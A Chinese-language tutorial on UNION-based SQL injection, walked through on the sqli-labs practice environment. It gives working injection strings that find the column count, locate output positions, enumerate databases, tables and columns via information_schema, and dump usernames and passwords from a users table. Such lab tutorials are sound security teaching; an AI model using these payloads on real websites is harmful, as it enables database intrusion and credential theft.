UNION聯合查詢注入
union簡介
union操作符用於合併兩個或者多個select語句的結果集。
ps: union內部的select語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條select語句中的列的順序必須相同。
默認情況,union操作符選取不同的值。如果允許重複的值,請使用union all
union注入條件
- 只有最後一個select子句允許有order by
- 只有最後一個select子句允許有limit
- 只要union連接的幾個查詢的字段數一樣且列的數據類型轉換沒有問題,就可以查詢出結果
- 注入點頁面有回顯
union注入流程
這裏我們用sqli-labs的環境來演示union聯合查詢漏洞的操作流程。
1.order by確定列數
order by函數用於給某一列的數據進行排序
例如order by 1給數據庫表的第一列數據從小到大進行排序
url上添加輸入
' order by 3--+
'用於隔斷字符串,- -+用於註釋該行的後續語句
2.
經過步驟一多次嘗試,我們最終發現該表有三列,那麼接下來我們觀察頁面返回,選取可以顯示數據的位置,進行下一步的注入
url修改添加輸入
id=100' union select 1,2,3--+
因爲union查詢默認只顯示第一列的字段值,所以我們把union之前的查詢語句故意設置爲100使其查詢錯誤而顯示第二段的值,從而我們找到顯示數據的位置。
3.讀庫信息
我們通過替換上述的值的位置來讀取數據庫信息
將url語句的3替換爲database()
來讀取當前庫信息
也可以在該位置替換爲查詢語句查詢所有庫名
替換內容
(select schema_name from information_schema.schemata limit 0,1)
limit函數爲限制輸出,因爲頁面只能顯示一行數據,所以我們將一個第一行的數據顯示出來,如果要顯示第二行的數據,將0該爲1即可,依次修改數據獲取所有數據庫名。對SQL語句不熟悉的朋友可以先複製下來直接用
,這個在學習之初是不影響的。
4.讀表信息
同樣,在該位置替換爲查詢該庫所有表信息
select table_name from information_schema.tables where table_schema=database() limit 0,1
其餘操作同上步驟,從而查出所有表名
5.讀列信息
同樣位置替換
Select column_name from information_schema.columns where table_name='users' limit 1,1
Select column_name from information_schema.columns where table_name='users' limit 2,1
替換之後我們得到了兩個關鍵的字段名username,password
6.查詢數據
同上,替換數據
Select group_concat(username,':',password) from users
group_concat函數這裏有詳細的講解,有興趣的可以看一下concat系列函數講解